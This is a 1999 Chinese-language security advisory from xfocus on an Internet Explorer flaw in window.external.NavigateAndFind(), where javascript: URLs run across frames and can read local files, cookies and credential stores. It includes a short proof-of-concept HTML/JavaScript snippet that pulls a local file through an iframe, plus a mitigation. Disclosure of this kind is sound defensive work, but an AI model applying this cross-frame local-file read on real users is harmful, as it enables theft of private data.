xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

IE external.NavigateAndFind() Cross-Frame漏洞


发布时间:1999-12-21
更新时间:1999-12-21
严重程度:
威胁程度:远程非授权文件存取
错误类型:设计错误
利用方式:客户机模式

受影响系统
WinNT
详细描述
使用window.externa.NavigateAndFind()函数的服务器可
能导致在IE4,5,5.1客户端上执行任意JAVASCRIPT代码。
这个功能是用来装载一个WEB文档的,通过搜索特征字符串
在第二个帧面来显示结果,但是,这功能可以接受
javascrp:形式的URL,当这种URL传递给这项功能时,在另
一帧中可以旁路过安全设置执行JAVASCRIPT的任意代码,
这种漏洞可以用来获取PWL文件,本地的SAM数据库,
COOKIE和任意这个客户用户可以访问的信息。攻击者可以
使用WEB发布,HTML MAIL和新闻组来发布。

测试代码
<IFRAME NAME="I1"
SRC="file://c:/test.txt"></IFRAME>
<SCRIPT>
function f()
{
window.external.NavigateAndFind("javascript:alert
(document.body.innerText);","ll","I1");
}
setTimeout("f()",2000);
</SCRIPT>

并可以到下面的站点测试:http://www.nat.bg/~joro/navan.html

解决方案
关闭ACTIVE SCRIPT

相关信息